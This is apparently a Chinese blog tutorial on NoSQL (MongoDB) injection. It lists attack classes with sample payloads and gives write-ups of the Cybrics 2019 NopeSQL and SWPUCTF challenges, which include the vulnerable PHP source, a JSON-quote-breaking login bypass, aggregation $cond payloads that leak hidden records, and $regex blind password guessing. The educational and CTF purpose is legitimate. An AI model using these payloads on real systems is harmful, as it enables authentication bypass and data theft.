NoSQL注入学习
NoSQL简介
non-relational
Not Only SQL
维基百科上对NoSQL的介绍:
NoSQL是对不同于传统的关系数据库的数据库管理系统的统称。
两者存在许多显著的不同点,其中最重要的是NoSQL不使用SQL作为查询语言。其数据存储可以不需要固定的表格模式,也经常会避免使用SQL的JOIN操作,一般有水平可扩展性的特征。
NoSQL是数据存储的一个流行趋势;它泛指依赖于不同存储机制的非关系型数据库,这些存储机制包括文档存储、键值对存储和图
NoSQL数据库的四大分类:
- 键值(Key-Value)存储数据库
- 列存储数据库
- 文档型数据库
- 图形(Graph)数据库
NoSQL注入
NoSQL 相关的 SQL 攻击主要机制可以大致分为以下五类:
- 重言式(永真式)
- 联合查询
- JavaScript 注入
- 背负式查询
- 跨域违规
测试代码源码来自 https://github.com/youngyangyang04/NoSQLInjectionAttackDemo
重言式注入
也就是通过注入代码,让生成的表达式结果永远为真,从而绕过认证
输入username[$ne]=1&password[$ne]=1
PHP把该输入解析为array("username"=>array("$[ne]"=>1), "password"=>array("$ne"=>1));,
然后编码为MongoDB查询
db.logins.find({username:{$ne:1},password{$ne:1})
$ne
代表不相等,因此,这次查询将返回登录集合中的所有用户
联合查询注入
通过参数来改变查询的数据集来绕认证
1 2 3 4
| string query = "{ username:'username',password:'password'}"
payload: username=tolkien', $or: [ {}, { 'a':'a&password=' } ]
|
JavaScript 注入
在MongoDB中$where
操作符可以执行JavaScript语句
1
| username=1&password=1;return true;
|
1
| username=1&password=1;(function(){var date = new Date(); do{curDate = new Date();}while(curDate-date<5000); return Math.max();})();
|
Cybrics CTF 2019 NopeSQL
前几天的一个CTF的题目NopeSQL
考察的就是NoSQL注入
首先发现.git
泄露,githack得到index.php
的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86
| <?php require_once __DIR__ . "/vendor/autoload.php";
function auth($username, $password) { $collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->users; $raw_query = '{"username": "'.$username.'", "password": "'.$password.'"}'; $document = $collection->findOne(json_decode($raw_query)); if (isset($document) && isset($document->password)) { return true; } return false; }
$user = false; if (isset($_COOKIE['username']) && isset($_COOKIE['password'])) { $user = auth($_COOKIE['username'], $_COOKIE['password']); }
if (isset($_POST['username']) && isset($_POST['password'])) { $user = auth($_POST['username'], $_POST['password']); if ($user) { setcookie('username', $_POST['username']); setcookie('password', $_POST['password']); } }
?>
<?php if ($user == true): ?>
Welcome! <div> Group most common news by <a href="?filter=$category">category</a> | <a href="?filter=$public">publicity</a><br> </div>
<?php $filter = $_GET['filter'];
$collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->news;
$pipeline = [ ['$group' => ['_id' => '$category', 'count' => ['$sum' => 1]]], ['$sort' => ['count' => -1]], ['$limit' => 5], ];
$filters = [ ['$project' => ['category' => $filter]] ];
$cursor = $collection->aggregate(array_merge($filters, $pipeline)); ?>
<?php if (isset($filter)): ?>
<?php foreach ($cursor as $category) { printf("%s has %d news<br>", $category['_id'], $category['count']); } ?>
<?php endif; ?>
<?php else: ?>
<?php if (isset($_POST['username']) && isset($_POST['password'])): ?> Invalid username or password <?php endif; ?>
<form action='/' method="POST"> <input type="text" name="username"> <input type="password" name="password"> <input type="submit"> </form>
<h2>News</h2> <?php $collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->news; $cursor = $collection->find(['public' => 1]); foreach ($cursor as $news) { printf("%s<br>", $news['title']); } ?> <?php endif; ?>
|
第一步是利用注入登录
这里直接使用{"$ne":null}
发现500,使用{'$ne':null}
也不对,在本地测试
1 2 3 4 5 6 7 8 9 10
| 代码: var_dump(json_decode($raw_query));
输出: object(stdClass)#1 (2) { ["username"]=> string(12) "{'$ne':null}" ["password"]=> string(12) "{'$ne':null}" }
|
发现{'$ne':null}
被解析成了string而不是array,原因是$raw_query = '{"username": "'.$username.'", "password": "'.$password.'"}';
其中输入被双引号包裹
正确的payload:
1
| username=1&password=","password":{"$ne":null},"username":"admin
|
此时的raw_query
1
| {"username": "1", "password": "","password":{"$ne":null},"username":"admin"}
|
再去var_dump(json_decode($raw_query));
,发现成功解析payload
1 2 3 4 5 6 7 8 9
| object(stdClass)#1 (2) { ["username"]=> string(5) "admin" ["password"]=> object(stdClass)#2 (1) { ["$ne"]=> NULL } }
|
这里这么写payload是为了闭合双引号,虽然username
和password
重复了,但json_decode
时变量只会是最后一次的赋值
登录之后
filter参数里可以填 category
展示目录 text
展示内容 title
展示标题,但是都限制了5条
代码里是用的MongoDB聚合函数aggregate
https://www.runoob.com/mongodb/mongodb-aggregate.html
flag应该在剩下的未展示出来的文章里
payload1:
1
| ?filter[$cond][if][$eq][][$strLenBytes]=$title&filter[$cond][if][$eq][][$toInt]=19&filter[$cond][then]=$text&filter[$cond][else]=12
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| ["category"]=> array(1) { ["$cond"]=> array(3) { ["if"]=> array(1) { ["$eq"]=> array(2) { [0]=> array(1) { ["$strLenBytes"]=> string(6) "$title" } [1]=> array(1) { ["$toInt"]=> string(2) "19" } } } ["then"]=> string(5) "$text" ["else"]=> string(2) "12" } }
|
payload1的意思就是当title的长度为19时,filter赋值为$text
,也就是展示文章内容,通过枚举title的长度,就可以把每一篇文章的内容都读出来
payload2:
1 2 3
| ?filter[$cond][if][$and][0][$eq][]=$category&filter[$cond][if][$and][0][$eq][]=flags&filter[$cond][then]=$title&filter[$cond][else]=a
?filter[$cond][if][$and][0][$eq][]=$title&filter[$cond][then]=$text&filter[$cond][else]=11111&filter[$cond][if][$and][0][$eq][]=This is a flag text
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| ["category"]=> array(1) { ["$cond"]=> array(3) { ["if"]=> array(1) { ["$and"]=> array(1) { [0]=> array(1) { ["$eq"]=> array(2) { [0]=> string(9) "$category" [1]=> string(5) "flags" } } } } ["then"]=> string(6) "$title" ["else"]=> string(1) "a" } }
|
payload2是先找出目录为flags的文章的标题,然后去找对应该标题的文章的内容
后来发现直接读内容也是可以的
1
| ?filter[$cond][if][$and][0][$eq][]=$category&filter[$cond][if][$and][0][$eq][]=flags&filter[$cond][then]=$text&filter[$cond][else]=a
|
SWPUCTF injection ???
Nosql注入
尝试
1
| check.php?username[$ne]=a&password[$ne]=a&vertify=a
|
返回Nice!But it is not the real passwd
通过mongodb的条件操作符$regex
来用正则匹配盲注逐字猜解得到正确密码,payload:
1
| check.php?username[$ne]=a&password[$regex]=^abc&vertify=a
|
NoSQLMap
https://github.com/codingo/NoSQLMap